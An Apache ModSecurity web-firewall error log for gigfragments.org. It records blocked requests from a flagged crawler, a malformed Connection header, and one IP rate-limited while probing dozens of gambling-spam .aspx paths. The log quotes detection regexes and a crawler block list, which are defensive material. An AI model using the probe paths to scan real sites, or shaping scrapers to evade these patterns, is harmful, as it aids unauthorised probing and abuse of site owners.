[Sun Apr 26 07:37:42.683551 2026] [:error] [pid 22573:tid 22609] [client 84.239.37.16:23317] [client 84.239.37.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "ae1QRnB3EmQlD4yKUt8jIAAAAYM"]
[Sun Apr 26 07:37:44.169753 2026] [:error] [pid 22573:tid 22618] [client 84.239.37.16:19639] [client 84.239.37.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ae1QSHB3EmQlD4yKUt8jKAAAAYs"]
[Sun Apr 26 07:37:45.189582 2026] [:error] [pid 8383:tid 8408] [client 84.239.37.16:61303] [client 84.239.37.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "ae1QSdFa2S3EsATMdWPPtQAAAAs"]
[Sun Apr 26 07:37:46.153281 2026] [:error] [pid 13197:tid 13248] [client 84.239.37.16:2451] [client 84.239.37.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ae1QSt3kktFKdSxTrBuUKQAAAtA"]
[Sun Apr 26 07:37:46.657160 2026] [:error] [pid 13197:tid 13252] [client 84.239.37.16:30892] [client 84.239.37.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "ae1QSt3kktFKdSxTrBuUKwAAAtQ"]
[Sun Apr 26 07:37:47.162510 2026] [:error] [pid 22573:tid 22620] [client 84.239.37.16:6755] [client 84.239.37.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ae1QS3B3EmQlD4yKUt8jNgAAAY0"]
[Sun Apr 26 08:18:42.774155 2026] [:error] [pid 13137:tid 13151] [client 49.51.39.209:44232] [client 49.51.39.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ae1Z4t0RB4J0o4h5neHudAAAAgo"]
[Sun Apr 26 09:02:53.202387 2026] [:error] [pid 8390:tid 8462] [client 51.75.128.94:35066] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "ae1kPYGPtFK_i9p5yxRSRwAAAIs"]
[Sun Apr 26 09:02:55.849402 2026] [:error] [pid 8491:tid 8523] [client 51.75.128.94:39946] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ae1kPyq7I7e6CJooQM22zwAAANc"]
[Sun Apr 26 09:02:57.898035 2026] [:error] [pid 13137:tid 13146] [client 51.75.128.94:47298] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ae1kQd0RB4J0o4h5neH44gAAAgY"]
[Sun Apr 26 09:02:59.965932 2026] [:error] [pid 22572:tid 22602] [client 51.75.128.94:47304] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ae1kQ9XOViWCFU-pZzCLwgAAAVg"]
[Sun Apr 26 09:03:01.781066 2026] [:error] [pid 13137:tid 13149] [client 51.75.128.94:47312] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ae1kRd0RB4J0o4h5neH46AAAAgk"]
[Sun Apr 26 09:03:03.802871 2026] [:error] [pid 8491:tid 8514] [client 51.75.128.94:47340] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ae1kRyq7I7e6CJooQM223wAAAM8"]
[Sun Apr 26 09:03:05.809700 2026] [:error] [pid 8390:tid 8474] [client 51.75.128.94:47352] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ae1kSYGPtFK_i9p5yxRSTAAAAJc"]
[Sun Apr 26 09:03:07.792996 2026] [:error] [pid 22572:tid 22601] [client 51.75.128.94:43400] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ae1kS9XOViWCFU-pZzCLxgAAAVc"]
[Sun Apr 26 09:03:09.661940 2026] [:error] [pid 22573:tid 22615] [client 51.75.128.94:43416] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ae1kTXB3EmQlD4yKUt8-YgAAAYg"]
[Sun Apr 26 09:03:11.577025 2026] [:error] [pid 8385:tid 8432] [client 51.75.128.94:43436] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ae1kTzOy7_J84Wx3-ox-hAAAAEg"]
[Sun Apr 26 09:03:13.476365 2026] [:error] [pid 22572:tid 22589] [client 51.75.128.94:43452] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ae1kUdXOViWCFU-pZzCL0wAAAUs"]
[Sun Apr 26 09:03:15.397618 2026] [:error] [pid 16515:tid 16536] [client 51.75.128.94:43460] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "ae1kU1tDrUmgHSvpuLzbCAAAAlI"]
[Sun Apr 26 09:03:17.249963 2026] [:error] [pid 22572:tid 22592] [client 51.75.128.94:54088] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "ae1kVdXOViWCFU-pZzCL3QAAAU4"]
[Sun Apr 26 09:03:19.097864 2026] [:error] [pid 22572:tid 22580] [client 51.75.128.94:54104] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ae1kV9XOViWCFU-pZzCL6QAAAUI"]
[Sun Apr 26 09:03:20.901321 2026] [:error] [pid 22573:tid 22616] [client 51.75.128.94:54114] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ae1kWHB3EmQlD4yKUt8-awAAAYk"]
[Sun Apr 26 09:03:22.870599 2026] [:error] [pid 16515:tid 16534] [client 51.75.128.94:54134] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "ae1kWltDrUmgHSvpuLzbDwAAAlA"]
[Sun Apr 26 09:03:24.809544 2026] [:error] [pid 22573:tid 22625] [client 51.75.128.94:54142] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "ae1kXHB3EmQlD4yKUt8-dAAAAZI"]
[Sun Apr 26 09:03:26.744676 2026] [:error] [pid 13137:tid 13146] [client 51.75.128.94:55466] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "ae1kXt0RB4J0o4h5neH5BwAAAgY"]
[Sun Apr 26 09:03:28.541905 2026] [:error] [pid 8385:tid 8445] [client 51.75.128.94:55472] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "ae1kYDOy7_J84Wx3-ox-jgAAAFU"]
[Sun Apr 26 09:03:30.311591 2026] [:error] [pid 13137:tid 13165] [client 51.75.128.94:55488] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "ae1kYt0RB4J0o4h5neH5CwAAAhg"]
[Sun Apr 26 09:03:32.234745 2026] [:error] [pid 16515:tid 16519] [client 51.75.128.94:55510] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "ae1kZFtDrUmgHSvpuLzbGwAAAkE"]
[Sun Apr 26 09:03:34.007324 2026] [:error] [pid 22573:tid 22618] [client 51.75.128.94:55524] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "ae1kZnB3EmQlD4yKUt8-gQAAAYs"]
[Sun Apr 26 09:03:35.946419 2026] [:error] [pid 8390:tid 8470] [client 51.75.128.94:55546] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ae1kZ4GPtFK_i9p5yxRSkwAAAJM"]
[Sun Apr 26 09:03:37.855124 2026] [:error] [pid 22573:tid 22615] [client 51.75.128.94:48922] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ae1kaXB3EmQlD4yKUt8-hwAAAYg"]
[Sun Apr 26 09:03:39.800183 2026] [:error] [pid 22573:tid 22624] [client 51.75.128.94:48940] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ae1ka3B3EmQlD4yKUt8-jQAAAZE"]
[Sun Apr 26 09:03:41.941888 2026] [:error] [pid 8390:tid 8471] [client 51.75.128.94:48946] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ae1kbYGPtFK_i9p5yxRSrQAAAJQ"]
[Sun Apr 26 09:03:43.869056 2026] [:error] [pid 16515:tid 16540] [client 51.75.128.94:48964] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ae1kb1tDrUmgHSvpuLzbJAAAAlY"]
[Sun Apr 26 09:03:45.788516 2026] [:error] [pid 8390:tid 8456] [client 51.75.128.94:48978] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ae1kcYGPtFK_i9p5yxRSxQAAAIU"]
[Sun Apr 26 09:03:47.708714 2026] [:error] [pid 16574:tid 16637] [client 51.75.128.94:53684] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ae1kc35MsX8wRQr99nYE_wAAA1U"]
[Sun Apr 26 09:04:14.822637 2026] [:error] [pid 8390:tid 8470] [client 51.75.128.94:53700] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ae1kjoGPtFK_i9p5yxRS5QAAAJM"]
[Sun Apr 26 09:04:16.665663 2026] [:error] [pid 8390:tid 8458] [client 51.75.128.94:52390] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "ae1kkIGPtFK_i9p5yxRS7AAAAIc"]
[Sun Apr 26 09:04:18.597712 2026] [:error] [pid 8491:tid 8518] [client 51.75.128.94:52394] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "ae1kkiq7I7e6CJooQM23LgAAANM"]
[Sun Apr 26 09:04:20.524320 2026] [:error] [pid 22572:tid 22579] [client 51.75.128.94:52404] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "ae1klNXOViWCFU-pZzCMJAAAAUE"]
[Sun Apr 26 09:04:22.424723 2026] [:error] [pid 8390:tid 8452] [client 51.75.128.94:52412] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "ae1kloGPtFK_i9p5yxRS-wAAAIE"]
[Sun Apr 26 09:04:24.473785 2026] [:error] [pid 22572:tid 22581] [client 51.75.128.94:52422] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "ae1kmNXOViWCFU-pZzCMNQAAAUM"]
[Sun Apr 26 09:04:26.364929 2026] [:error] [pid 13137:tid 13160] [client 51.75.128.94:36250] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ae1kmt0RB4J0o4h5neH5ZwAAAhM"]
[Sun Apr 26 09:04:28.405714 2026] [:error] [pid 8390:tid 8459] [client 51.75.128.94:36254] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ae1knIGPtFK_i9p5yxRTEgAAAIg"]
[Sun Apr 26 09:04:30.188283 2026] [:error] [pid 8390:tid 8453] [client 51.75.128.94:36272] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ae1knoGPtFK_i9p5yxRTGAAAAII"]
[Sun Apr 26 09:04:32.242192 2026] [:error] [pid 22573:tid 22631] [client 51.75.128.94:36280] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ae1koHB3EmQlD4yKUt8-xQAAAZg"]
[Sun Apr 26 09:04:34.178213 2026] [:error] [pid 8385:tid 8443] [client 51.75.128.94:36290] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ae1kojOy7_J84Wx3-ox-rgAAAFM"]
[Sun Apr 26 09:04:36.212651 2026] [:error] [pid 8383:tid 8413] [client 51.75.128.94:36886] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ae1kpNFa2S3EsATMdWPWtAAAABA"]
[Sun Apr 26 09:04:38.259828 2026] [:error] [pid 16515:tid 16534] [client 51.75.128.94:36898] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ae1kpltDrUmgHSvpuLzbRQAAAlA"]
[Sun Apr 26 09:04:40.305977 2026] [:error] [pid 16515:tid 16524] [client 51.75.128.94:36902] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ae1kqFtDrUmgHSvpuLzbTAAAAkY"]
